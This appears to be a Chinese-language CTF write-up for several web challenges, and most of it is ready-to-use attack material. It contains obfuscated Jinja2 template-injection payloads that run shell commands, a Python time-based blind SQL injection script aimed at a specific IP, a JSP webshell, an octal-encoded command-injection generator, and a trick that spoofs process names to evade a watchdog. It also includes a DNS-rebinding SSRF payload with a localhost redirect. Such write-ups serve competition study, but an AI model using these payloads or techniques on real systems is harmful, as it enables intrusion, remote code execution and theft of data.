mine1_1
令referer
头等于 args
((request|attr(request.referrer)).a) => request.args.a
{ {((()|attr(((request|attr(request.referrer)).a))|attr(((request|attr(request.referrer)).b))|attr(((request|attr(request.referrer)).c))())|attr(((request|attr(request.referrer)).d))(149))|attr(((request|attr(request.referrer)).e))|attr(((request|attr(request.referrer)).f))|attr(((request|attr(request.referrer)).d))(((request|attr(request.referrer)).g))|attr(((request|attr(request.referrer)).d))(((request|attr(request.referrer)).h))(((request|attr(request.referrer)).m))} }&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__builtins__&h=eval&m=__import__("os").popen("cat * |grep flag").read()
pyer
sqlite 时间盲注
import requests
import time
url = r'http://124.71.134.84:30101/login'
result = ''
flag = ''
for x in range(0,200) :
max = 127
min = 32
mid = (max + min) //2
while min <max :
payload = "' or (select case when (substr((SELECT sql FROM sqlite_master WHERE type='table' ),{0},1)>char({1}) ) then randomblob(5000000) else 1 end) or '".format(x,mid)
data = {
'username':payload,
'password':"1",
'submit':"1"
}
print payload
try:
now = time.time()
res = requests.post(url,data = data)
#print(time.time()-now)
if time.time()-now >0.3 : # zhen
min = mid +1
else:
max = mid
except Exception as e:
print e
mid = (max + min)// 2
flag = flag + chr(int(mid))
print flag
得到密码 sqlite_not_safe
联合查询 存在ssti
‘ union select '{ % for c in [].__class__.__base__.__subclasses__() % }{ % if c.__name__=="catch_warnings" % }{ { c.__init__.__globals__["__builtins__"].eval("__import__(\"os\").popen(\"cat * |grep flag\").read()") } }{ % endif % }{ % endfor % }' --'
WEBSHELL_1
直接上传一个jsp文件执行命令即可。
<%
java.io.InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();;
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
MINE2
双引号与attr没有被过滤
所以可以16进制绕过加结合attr
http://124.70.199.122:32075/success?msg={ %print(()|attr(%22\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x6d\x72\x6f\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(1)|attr(%22\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%22)()|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(202)|attr(%22\x5f\x5f\x69\x6e\x69\x74\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(%22\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(%22eval%22)(%22\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x20\x72\x65\x61\x64\x28\x29%22))% }
hids
过滤了许多,最后发现可以使用
$(printf$IFS$9"\154\163")
来任意执行命令(八进制绕过)。
于是写了一个python文件来生成命令
while True:
flags = "$(printf$IFS$9\""
s = raw_input()
for i in range(len(s)):
tmp = oct(ord(s[i]))
flags += "\\"
if len(tmp) == 4:
tmp = tmp[1:]
flags += tmp
flags += "\")"
print flagss
cat了detect.py文件的内容:
import os,signal
out=os.popen("ps -ef").read()
for line in list(out.splitlines())[1:]:
try:
pid = int(line.split()[1])
ppid = int(line.split()[2])
cmd = " ".join(line.split()[7:])
if ppid in [0,1] and cmd in ["/usr/local/bin/python3.8 /home/ctf/web/app.py","/usr/sbin/cron","/usr/bin/tail -f /var/log/cron","/usr/local/bin/python3.8 /detect.py","/bin/sh -c /usr/sbin/cron && /usr/bin/tail -f /var/log/cron"]:
continue
os.kill(pid,signal.SIGKILL)
except Exception as e:
pass
发现只要使/readflag进程ppid为1且进程名字在上述白名单里就不会被kill。
进程名字可以通过exec -a 来设置。后台运行的子进程在父进程被kill掉后,ppid会变。
所以执行
bash -c exec -a /usr/sbin/cron /readflag > /tmp/flag.txt &
即可符合上述两个条件
将
exec -a /usr/sbin/cron /readflag > /tmp/flag.txt &
写入到文件里,加执行权限,用bash -c 执行即可。
90s后在/tmp/flag.txt里拿到flag
babyphp
打开是一个端口扫描系统,随手一测发现有flag.php,点击scan后发现
Port scan is deperacted and try to find the source code! // Google is your best friend
直接去github上搜索,发现该系统源码。
https://github.com/search?l=PHP&q=%3Cinput+type%3D%22text%22+name%3D%22port%22+value%3D%2280%2C8080%2C8888%2C1433%2C3306%22%3E&type=Code
虽然题目环境port scan功能已经没了,但是还有一个
if($url != null){
$host = getHost($url);
echo getCss($host,getHtmlContext($url));
}
的功能。
通过
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
去读flag.php
所以自己vps上放一个内容为
<link href='./.css/../../flag.php'>
的文件。
Cloudstorage
dns 重绑定
本地访问127.0.0.1/flag 才可获得
/admin 路由可以发送帮助发送请求
const cp = require('child_process')
const ip = require('ip')
const url = require('url');
const {docker} = require("./docker.js")
const checkip = function (value) {
let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
if (!pattern.exec(value))
return false;
let ary = value.split('.');
for(let key in ary)
{
if (parseInt(ary[key]) > 255)
return false;
}
return true ;
}
const dnslookup = function(s) {
if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
let query = '';
try {
query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
} catch (e) {
return 'wrong'
}
return checkip(query) ? query : 'wrong'
} else return 'wrong'
}
const check = function(s) {
if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
return false
let blacklist = ['wrong', '127.', 'local', '@', 'flag']
let host, port, dns;
host = url.parse(s).hostname
port = url.parse(s).port
if ( host == null || port == null)
return false
dns = dnslookup(host);
if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
return false
for (let i = 0; i < blacklist.length; i++)
{
let regex = new RegExp(blacklist[i], 'i');
try {
if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
return false
} catch (e) {}
if (s.match(regex))
return false
}
return true
}
exports.check = check
dnslookup 会请求url的真实ip,存在let blacklist = ['wrong', '127.', 'local', '@', 'flag']
限制
利用dns重绑定 payload
fileurl=http://7925af9a.b65c40b3.rbndr.us:8001/index.php
自己vps 8001 上的index.php
<?php
header('Location:http://127.0.0.1/flag');
第一检测 获取到 题目服务器ip 通过check
第二次检测 获取自己vps的ip 然后跳转到 他的127.0.0.1/flag
华为HCIE的第一课
存在任意文件读取,获取源码
login.js 变量拼接,之后原型链污染
/admin 路由存在模板注入